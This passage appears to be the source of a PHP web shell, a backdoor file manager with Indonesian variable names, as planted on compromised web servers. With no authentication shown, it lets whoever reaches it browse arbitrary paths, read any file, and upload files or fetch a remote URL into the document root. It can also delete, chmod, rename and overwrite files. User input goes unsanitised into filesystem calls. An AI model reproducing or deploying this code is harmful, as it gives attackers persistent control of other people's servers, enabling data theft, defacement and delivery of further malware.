<span class="info-label">PHP:</span>
<span class="info-value"><?php echo @phpversion(); ?></span>
</div>
<div class="info-line" style="grid-column: 1 / -1;">
<span class="info-label">Disabled:</span>
<span class="info-value"><?php echo $disf; ?></span>
</div>
</div>
</div>
<div class="breadcrumb">
<?php
foreach($_POST as $key => $value){
$_POST[$key] = stripslashes($value);
}
if(isset($_GET['path'])){
$lokasi = $_GET['path'];
$lokdua = $_GET['path'];
} else {
$lokasi = getcwd();
$lokdua = getcwd();
}
$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);
echo "$ pwd: ";
foreach($lokasis as $id => $lok){
if($lok == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($lok == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$lokasis[$i]";
if($i != $id) echo "/";
}
echo '">'.$lok.'</a>/';
}
?>
</div>
<div class="upload-section">
<div class="section-title">Upload Files</div>
<?php
if (isset($_POST['upwkwk'])) {
if (isset($_POST['berkasnya'])) {
if ($_POST['dirnya'] == "2") {
$lokasi = $_SERVER['DOCUMENT_ROOT'];
}
$data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
green("File uploaded: ".$lokasi."/".$_FILES['berkas']['name']);
} else {
red("Upload failed");
}
} elseif (isset($_POST['linknya'])) {
if (empty($_POST['namalink'])) {
red("Filename cannot be empty");
} else {
if ($_POST['dirnya'] == "2") {
$lokasi = $_SERVER['DOCUMENT_ROOT'];
}
$data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
if (file_exists($lokasi."/".$_POST['namalink'])) {
green("File uploaded: ".$lokasi."/".$_POST['namalink']);
} else {
red("Upload failed");
}
}
}
}
?>
<form enctype="multipart/form-data" method="post">
<div class="form-row">
<div class="radio-group">
<label class="radio-item">
<input type="radio" value="1" name="dirnya" checked>
<span>current [<?php echo cekdir(); ?>]</span>
</label>
<label class="radio-item">
<input type="radio" value="2" name="dirnya">
<span>docroot [<?php echo cekroot(); ?>]</span>
</label>
</div>
</div>
<input type="hidden" name="upwkwk" value="aplod">
<div class="form-row">
<div class="upload-row">
<input type="file" name="berkas">
<button type="submit" name="berkasnya" class="btn btn-primary">Upload</button>
</div>
</div>
<div class="form-row">
<div class="upload-row">
<input type="text" name="darilink" placeholder="https://example.com/file.txt">
<input type="text" name="namalink" placeholder="filename">
<button type="submit" name="linknya" class="btn btn-primary">Fetch</button>
</div>
</div>
</form>
</div>
<?php
if (isset($_GET['fileloc'])) {
echo "<div class='file-preview'>";
echo "<div class='section-title'>File: ".$_GET['fileloc']."</div>";
echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
echo "</div>";
author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
if (is_dir($_POST['path'])) {
xrmdir($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to delete directory");
} else {
green("Directory deleted");
}
} elseif (is_file($_POST['path'])) {
@unlink($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to delete file");
} else {
green("File deleted");
}
}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
echo "<div class='edit-form'>";
echo "<div class='section-title'>chmod ".$_POST['path']."</div>";
echo '<form method="post">
<div class="form-row">
<input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" placeholder="0644" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="pilih" value="ubahmod">
<button type="submit" name="chm0d" class="btn btn-primary">Apply</button>
</div>
</form>';
if (isset($_POST['chm0d'])) {
$cm = @chmod($_POST['path'], $_POST['perm']);
if ($cm == true) {
green("Permission changed");
} else {
red("Permission change failed");
}
}
echo "</div>";
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
if (isset($_POST['gantin'])) {
$ren = @rename($_POST['path'], $_POST['newname']);
if ($ren == true) {
green("Renamed successfully");
} else {
red("Rename failed");
}
}
if (empty($_POST['name'])) {
$namaawal = $_POST['newname'];
} else {
$namawal = $_POST['name'];
}
echo "<div class='edit-form'>";
echo "<div class='section-title'>mv ".$_POST['path']."</div>";
echo '<form method="post">
<div class="form-row">
<input name="newname" type="text" value="'.$namaawal.'" placeholder="new name" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="pilih" value="gantinama">
<button type="submit" name="gantin" class="btn btn-primary">Rename</button>
</div>
</form>';
echo "</div>";
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
if (isset($_POST['gasedit'])) {
$edit = @file_put_contents($_POST['path'], $_POST['src']);
if ($edit == true) {
green("File saved");
} else {
red("Save failed");
}
}
echo "<div class='edit-form'>";
echo "<div class='section-title'>nano ".$_POST['path']."</div>";
echo '<form method="post">
<textarea name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea>
<div class="form-row">
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="pilih" value="edit">
<button type="submit" name="gasedit" class="btn btn-primary">Save</button>
</div>
</form>';
echo "</div>";
}
?>
<div class="file-table">
<table>
<thead>
<tr>
<th>Name</th>
<th style="width: 80px;">Size</th>
<th style="width: 100px;">Permissions</th>
<th style="width: 120px;">Actions</th>
</tr>
</thead>
<tbody>
<?php
foreach($lokasinya as $dir){
if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td>
<a href=\"?path=".$lokasi."/".$dir."\" class='file-link dir-link'>
ð ".$dir."
</a>
</td>
<td class='size'>--</td>
<td class='permissions ";
if(is_writable($lokasi."/".$dir)) echo 'writable';
elseif(!is_readable($lokasi."/".$dir)) echo 'readonly';
echo "'>".statusnya($lokasi."/".$dir)."</td>
<td>
<form method='POST' action='?pilihan&path=$lokasi' class='action-form'>
<select name='pilih'>
<option value=''>--</option>
<option value='hapus'>rm</option>
<option value='ubahmod'>chmod</option>
<option value='gantinama'>mv</option>
</select>
<input type='hidden' name='type' value='dir'>
<input type='hidden' name='name' value='$dir'>
<input type='hidden' name='path' value='$lokasi/$dir'>
<button type='submit' class='btn'>go</button>
</form>
</td>
</tr>";
}
foreach($lokasinya as $file) {
if(!is_file("$lokasi/$file")) continue;
$size = filesize("$lokasi/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).'M';
} else {
$size = $size.'K';
}
echo "<tr>
<td>
<a href=\"?fileloc=$lokasi/$file&path=$lokasi\" class='file-link'>
ð $file
</a>
</td>
<td class='size'>".$size."</td>
<td class='permissions ";
if(is_writable("$lokasi/$file")) echo 'writable';
elseif(!is_readable("$lokasi/$file")) echo 'readonly';
echo "'>".statusnya("$lokasi/$file")."</td>
<td>
<form method='post' action='?pilihan&path=$lokasi' class='action-form'>
<select name='pilih'>
<option value=''>--</option>
<option value='hapus'>rm</option>
<option value='ubahmod'>chmod</option>
<option value='gantinama'>mv</option>
<option value='edit'>nano</option>
</select>
<input type='hidden' name='type' value='file'>
<input type='hidden' name='name' value='$file'>
<input type='hidden' name='path' value='$lokasi/$file'>
<button type='submit' class='btn'>go</button>
</form>
</td>
</tr>";
}
?>
</tbody>
</table>
</div>
<?php
author();
function statusnya($file){
$statusnya = fileperms($file);
if (($statusnya & 0xC000) == 0xC000) {
$ingfo = 's';
} elseif (($statusnya & 0xA000) == 0xA000) {
$ingfo = 'l';
} elseif (($statusnya & 0x8000) == 0x8000) {
$ingfo = '-';
} elseif (($statusnya & 0x6000) == 0x6000) {
$ingfo = 'b';
} elseif (($statusnya & 0x4000) == 0x4000) {
$ingfo = 'd';
} elseif (($statusnya & 0x2000) == 0x2000) {
$ingfo = 'c';
} elseif (($statusnya & 0x1000) == 0x1000) {
$ingfo = 'p';
} else {
$ingfo = 'u';
}
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ?
(($statusnya & 0x0800) ? 's' : 'x' ) :
(($statusnya & 0x0800) ? 'S' : '-'));
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ?
(($statusnya & 0x0400) ? 's' : 'x' ) :
(($statusnya & 0x0400) ? 'S' : '-'));
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0001) ?
(($statusnya & 0x0200) ? 't' : 'x' ) :
(($statusnya & 0x0200) ? 'T' : '-'));
return $ingfo;
}
?>
</div>
</body>
</html>